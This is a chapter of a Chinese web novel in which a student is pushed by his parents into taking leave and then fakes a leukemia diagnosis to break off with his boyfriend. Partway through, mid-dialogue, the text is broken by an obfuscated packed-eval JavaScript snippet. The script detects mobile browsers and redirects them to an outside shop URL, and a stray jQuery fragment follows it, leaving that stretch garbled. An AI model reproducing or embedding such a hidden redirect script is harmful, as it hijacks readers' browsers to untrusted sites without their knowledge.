第十四章风暴
简逾白回到家的时候，他爸坐在客厅沙发上，面前的茶几上摊着几页打印纸。他妈坐在旁边，手里攥着一方手帕，眼眶红着，像哭过了。简逾白在门口换了鞋，走过去坐在他们对面，低着头没有说话。
他爸把茶几上那几页纸往他面前推了推：“你看看。”
是学校的材料。辅导员提交的情况说明、几张打印出来的照片、一份学院的处理建议。白纸黑字把两个人的关系写得清清楚楚，措辞官方又冰冷，像在陈述一件与感情无关的事件。简逾白低头看着那些字，没有伸手去碰，就那样看完了。然后他抬起头来：“……我跟他是认真的。”
他爸的手指在膝盖上攥紧了：“你还小，你懂什么是认真？”
“我懂。”简逾白的声音不大，但很稳，“我跟他在一起半年多了，我知道自己在做什么。”
“你知道？”他爸的声音猛地拔高了，“你知道你现在在干什么吗？你知道这些照片传出去之后你以后怎么找工作、怎么做人？”
简逾白坐在那里，被他爸的声音劈头盖脸地砸下来，没有躲也没有反驳。他妈在旁边插了一句，声音带着哭腔：“你从小到大没让我们操过心，这件事你就不能听我们一次吗？”
简逾白攥着膝盖上的布料，指尖用力到发白。他张了张嘴想说“我喜欢他”，想说“我没有做错任何事”，想说“你们凭什么觉得这是错的”，但那些话在喉咙里转了一圈又咽回去了。他看着爸妈脸上的表情——那种被击碎的、难以置信的、像看着一个突然变得陌生的孩子的那种表情——他忽然觉得喉咙很紧。紧到他需要用力吞咽一下才能开口。
“你们想让我怎么做？”
他爸说：“休学一年。换个环境，冷静一下。要是还不行，就转学。”
简逾白坐在那里安静了很久。窗外的天色已经暗了，客厅的灯亮着暖黄色的光，照在他低垂的睫毛上投下一小片阴影。他最后说：“……我知道了。”
回学校的那天下午他走得很慢。走进校门的时候那棵银杏树已经完全绿了，风吹过来树叶沙沙地响。他在树下站了一会儿，看着去年秋天满地金黄的位置，现在铺了一层嫩绿的新叶。然后他继续往前走，走到宿舍楼下的时候脚步停了。他看见江欲燃蹲在楼门口的台阶上，手里捏着手机，低着头像在等什么。听见脚步声抬起头来，看见是他就站了起来。
“回来了？”
“嗯。”
“你爸妈怎么说？”
简逾白站在他面前，看着他被风吹乱的头发和眼底那层极力压着的焦灼，开口的时候声音很轻：“让我休学。”
江欲燃没有说话。他蹲得腿麻了，站起来的时候晃了一下，伸手扶住了旁边的门框。他看着简逾白，目光里有什么东西正在一层一层地裂开，像冰面被石头砸了一下，裂纹从中心向外辐射蔓延。他攥着门框的手指慢慢收紧了，指骨泛白。
“你答应了？”
“……嗯。”
江欲燃站直了。他松开攥着门框的手，往前走了一步，站在简逾白面前。两个人之间的距离很近，近到简逾白能闻到他身上那股木质香——跟去年秋天第一次见面时一样的味道，但那时候闻起来是陌生的、新鲜的，现在闻起来是熟悉得让人鼻子发酸的。
“逾白，”江欲燃开口，声音哑着，“你别答应。”
“我爸说如果我不休学，就转学。”
“那就转。”
“转去哪？”
“转去哪都行。”江欲燃说，“我跟你一起。”
简逾白看着他，看着他那双因为熬夜而带着血丝的眼睛，看着他因为焦灼而下意识抿紧的嘴唇，看着他眼尾那颗在夕阳里安安静静的小痣。他知道江欲燃说的是真心话——这个人真的会跟他转去任何地方、任何学校，不计代价。但简逾白也知道，他不能让江欲燃这样做。举报信的事已经让江欲燃在学院那边背了半条命，如果闹到转学，他爸那边的关系网能直接封死江欲燃以后所有出路。他不能用自己的选择去换江欲燃的一辈子。
“江欲燃。”他开口，声音很轻很稳，“你听我说。”
江欲燃没有说话，但他攥住了简逾白的手腕，指腹用力地按在他的脉搏上，像在感受那根血管底下还在跳动的东西。
“我休学一年，一年后回来。你好好读完这两年，等我回来。”简逾白看着他的眼睛，“你别转学，别跟我走。你就在这里等我。”
江欲燃攥着他手腕的手指收得更紧了：“你让我等你一年？”
“一年。”简逾白说，“一年之后我回来找你，谁都没办法把我们分开。”
江欲燃没有说话。他低头看着简逾白的手腕，拇指在那根跳动的脉搏上来回蹭了两下，力道很轻，像在确认什么。然后他松开手，退后半步，抬起头来看着简逾白：“好。我等你。”
那两个字说出来的时候，简逾白的喉咙一阵发紧。他点了点头，转身往宿舍楼里走，江欲燃跟在他后面上了楼。那天晚上两个人并排躺在江欲燃那张窄床上，面朝着同一边天花板，谁都没有说话。窗外的风从窗缝里钻进来吹动了窗帘，月光从缝隙里漏进来，在地板上划了一道细长的白线。简逾白看着那道白线想，如果一年之后他真的回来了，如果一切真的能重新开始，那他大概会把这辈子所有的时间都用来陪这个人。
但那个“如果”像一个沉在水底的锚，在他心里越坠越深。
第二天简逾白开始办休学手续。填表、签字、找辅导员谈话、交材料。江欲燃陪着他走完了每一步，沉默地站在走廊尽头等他出来。两个人之间的话变得很少，但每次简逾白从办公室出来的时候，都能看见江欲燃靠在墙上低头看手机，听见门响就抬起头来。那个抬头的动作和目光，跟第一天他在宿舍门口等着简逾白回来时说“符纸收到了”时一模一样。
简逾白办完手续之后回了宿舍收拾行李。该寄回家的寄回家，该扔的扔，该留的留。江欲燃坐在对面看着他叠衣服、装箱子、把书一本一本码进纸箱里，全程没有说话。简逾白叠到那件深灰色外套的时候手指顿了一下——那是江欲燃的，被他穿了一个冬天，袖口和领口都洗得微微起毛了。他拿着那件外套看了几秒，然后叠好放进了自己的箱子里。
江欲燃看见了，但他没有说“那是我的”，只是坐在对面看着那个动作，目光安静得像深冬的湖面。
临走那天简逾白把宿舍最后检查了一遍。他把那枚刻着“逾白”的平安扣从脖子上摘下来，放进了江欲燃的掌心里。江欲燃低头看着掌心里那枚温润的木扣，没有问为什么，只是握紧拳头把它攥住了，指节用力到发白。
“江欲燃。”简逾白站在他面前，伸手碰了碰他眼尾那颗小痣，“一年。”
江欲燃攥着那枚平安扣抬起头来看他：“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17691765|207914||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一年。”
简逾白转身走出了宿舍。他走过走廊、走下楼梯、走过楼门口那棵银杏树、走过那条从宿舍到校门的林荫道。他没有回头，但他知道江欲燃一定站在宿舍窗口看着他。他走进车站、检票、上车、坐在靠窗的位置，看着窗外的站台一点一点往后退。火车开动的那一瞬间，他靠在椅背上闭上了眼，把那枚藏在口袋里的牛皮纸信封按了按——里面是一张折叠好的诊断证明，日期是三天前，由他那位高中同学帮忙开出来的。他原本没有打算用它，但休学手续办完的那天晚上他坐在桌前，看着他爸发来的那条“休学期间不准跟那个人联系”的消息，他知道光靠“一年”是撑不过去的。
江欲燃的性子他知道。这一年里江欲燃会找他，会打听他的消息，会想尽办法联系他。如果不能让他彻底死心，这一年对江欲燃来说就是煎熬。与其让他一寸一寸地熬，不如一刀断了干净。
简逾白在火车上把那封诊断证明拆开又看了一遍。“急性淋巴性白血病，建议尽快住院治疗”几行字被医院的红章压着，纸面被他手指的温度捂得微微发软。他看着那几行字，忽然想起江欲燃第一次编红绳时低着头专注的样子，想起他织围巾时笨拙地藏针脚的样子，想起他在雪地里攥着自己的手放进口袋的样子。他把那张纸折好放回信封里，侧过头看着窗外飞速掠过的田野和村庄。天正在暗下去，远处的云层被落日烧成了橘红色，一层一层地铺在天边。
他不知道自己做的这件事是对还是错。他只知道，如果不这样做，江欲燃会为了他放弃掉太多东西。他不能让江欲燃用前途换他，不能让他成为那个被所有人指指点点的人。如果非要有人走，那就他走。如果非要有人当坏人，那就他当。
火车进了隧道，窗外的光一下子暗了。简逾白在黑暗里把额头抵在冰冷的玻璃上，闭上了眼。
两周之后，江欲燃收到了一封信。信封上写着他的名字，字迹是简逾白的。他坐在宿舍桌前撕开封口，抽出里面的纸。纸折得很平整，上面是简逾白工整清秀的字迹，只写了短短几行：
“江欲燃，我可能回不来了。前几天去医院做了检查，结果不太好。急性白血病，要住院治疗。具体什么时候能好，医生说不好说。你别来找我，家里会照顾我。你好好读书，别等我。就当从来没有遇见过我。”
江欲燃坐在那把椅子上把那几行字读了一遍、两遍、三遍。台灯的光把纸面上的字照得清清楚楚，每一个笔画都收得干净利落，是简逾白的习惯——写“白”字的时候最后一横收笔时会微微上扬。他读了三遍之后把纸放下，低头看着自己攥着信封边缘的手指。手指在抖，从指节到指尖都在抖，像一株被风吹得站不稳的细竹。
他拿起手机拨了简逾白的号码，关机。他又打了一遍，还是关机。他站起来，椅子被撞得向后滑出去撞上墙，发出“哐”的一声。他站在宿舍中央，手里攥着那封信，台灯的光把他整个人照得透亮——他眼尾那颗小痣因为用力咬着牙关而微微泛着红，眼底的光像被什么东西猛地抽走了，只剩下一个空荡荡的、什么也没有的壳。
他攥着那封信站了很久。久到窗外的天色从亮到暗，久到楼下的路灯亮起来，久到对面宿舍的灯灭了又亮。然后他坐回椅子上，把那封信重新折好放回信封里，拉开抽屉放在那枚“逾白”的平安扣旁边，轻轻合上了抽屉。
他坐在那没有再动过。
/